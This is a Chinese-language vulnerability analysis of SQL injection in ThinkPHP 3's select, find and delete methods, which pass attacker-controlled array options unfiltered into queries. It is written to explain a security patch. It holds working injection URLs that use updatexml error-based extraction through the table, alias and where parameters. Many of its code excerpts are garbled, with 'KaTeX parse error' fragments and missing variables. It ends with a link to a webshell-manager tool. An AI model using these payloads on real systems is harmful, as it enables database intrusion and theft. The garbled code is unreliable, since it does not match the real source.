作者:水泡泡(阿里雲先知社區)
0x00 前言
北京時間 2018年8月23號11:25分 星期四,tp團隊對於已經停止更新的thinkphp 3系列進行了一處安全更新,經過分析,此次更新修正了由於select(),find(),delete()方法可能會傳入數組類型數據產生的多個sql注入隱患。
0x01 漏洞復現
下載源碼:
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令將版本回退到上一次commit:
git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf
DocumentRoot “” 爲thinkphp所在的目錄。
重啓phpstudy,訪問127.0.0.1,輸出thinkphp的歡迎信息,表示thinkphp已正常運行。
搭建數據庫,數據庫爲tptest,表爲user,表裏面有三個字段id,username,pass
修改Application\Common\Conf\config.php配置文件,添加數據庫配置信息。
之後在Application\Home\Controller\IndexController.class.php 添加以下代碼:
public function test()
{
$id = i(‘id’);
id);
//id);
//id);
}
針對select() 和find()方法 ,有很多地方可注,這裏主要列舉三個table,alias,where,更多還請自行跟蹤一下parseSql的各個parseXXX方法,目測都是可行的,比如having,group等。
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–
而delete()方法的話同樣,這裏粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不爲空(詳細原因後面會說)
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)–&id[where]=1
0x02 漏洞分析
通過github上的commit 對比其實可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中對於delete,find,select三個函數進行了修改。
delete函數
select函數
find函數
對比三個方法修改的地方都有一個共同點:
把外部傳進來的this->options,同時不再使用options進行表達式分析。
思考是因爲$options可控,再經過_parseOptions函數之後產生了sql注入。
一 select 和 find 函數
以find函數爲例進行分析(select代碼類似),該函數可接受一個$options參數,作爲查詢數據的條件。
當$options爲數字或者字符串類型的時候,直接指定當前查詢表的主鍵作爲查詢字段:
if (is_numeric(options)) {
this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
同時提供了對複合主鍵的查詢,看到判斷:
if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 10: options) &̲& (count(options) > 0) && is_array(options爲數組同時$pk主鍵也要爲數組,但這個對於表只設置一個主鍵的時候不成立。
那麼就可以使$options爲數組,同時找到一個表只有一個主鍵,就可以繞過兩次判斷,直接進入_parseOptions進行解析。
if (is_numeric(options)) {//$options爲數組不進入
this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
// 根據複合主鍵查找記錄
$pk = options) && (count(KaTeX parse error: Expected 'EOF', got '&' at position 15: options) > 0) &̲& is_array(pk)) { //$pk不爲數組不進入
…
}
// 總是查找一條記錄
$options[‘limit’] = 1;
// 分析表達式
$options = options); //解析表達式
// 判斷查詢緩存
…
$resultSet = options); //底層執行
之後跟進_parseOptions方法,(分析見代碼註釋)
if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: options)) { //當options爲數組的時候與$this->options數組進行整合
this->options, $options);
}
if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這裏
// 自動獲取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定數據表 則重新獲取字段列表 但不支持類型檢測
$fields = $this->getDbFields(); //設置了進這裏
}
// 數據表別名
if (!empty($options['alias'])) {//判斷是否設置了數據表別名
$options['table'] .= ' ' . $options['alias']; //注意這裏,直接拼接了
}
// 記錄操作的模型名稱
$options['model'] = $this->name;
// 字段類型驗證
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不爲數組或沒有設置不進這裏
// 對數組查詢條件進行字段類型檢查
......
}
// 查詢過後清空sql表達式組裝 避免影響下次查詢
$this->options = array();
// 表達式過濾
$this->_options_filter($options);
return $options;
options[‘table’]或$options[‘alias’]等等,只要提層不進行過濾都是可行的。
同時我們可以不設置options[‘where’]的值爲字符串,可繞過字段類型的驗證。
可以看到在整個對KaTeX parse error: Expected 'EOF', got '\Libray' at position 35: …回,跟進到底層ThinkPHP\̲L̲i̲b̲r̲a̲y̲\Think\Db\Diver…options的值進行替換,解析。
因爲options[‘alias’]都是由parseTable函數進行解析,跟進:
if (is_array(tables)) {//不爲數組進
this, ‘parseKey’), explode(’,’, $tables));
}
return implode(’,’, $tables);
當我們傳入的值不爲數組,直接進行解析返回帶進查詢,沒有任何過濾。
同時$options[‘where’]也一樣,看到parseWhere函數
where)) {
// 直接使用字符串條件
$whereStr = KaTeX parse error: Expected 'EOF', got '}' at position 31: …沒有任何過濾
}̲ else {
…whereStr) ? ‘’ : ’ WHERE ’ . $whereStr;
二 delete函數
delete函數有些不同,主要是在解析完options[‘where’]判斷了一下是否爲空,需要我們傳一下值,使之不爲空,從而繼續執行刪除操作。
…
// 分析表達式
$options = options);
if (empty(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ //注意這裏,還判斷了一下options[‘where’]是否爲空,爲空直接返回,不再執行下面的代碼。
// 如果條件爲空 不進行刪除操作 除非設置 1=1
return false;
}
if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 19: …ions['where']) &̲& isset(options[‘where’][$pk])) {
$pkValue = pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回刪除記錄個數
return $result;
0x03 漏洞修復
不再分析由外部傳進來的options[‘xxx’]。
xise菜刀 http://caidaome.com/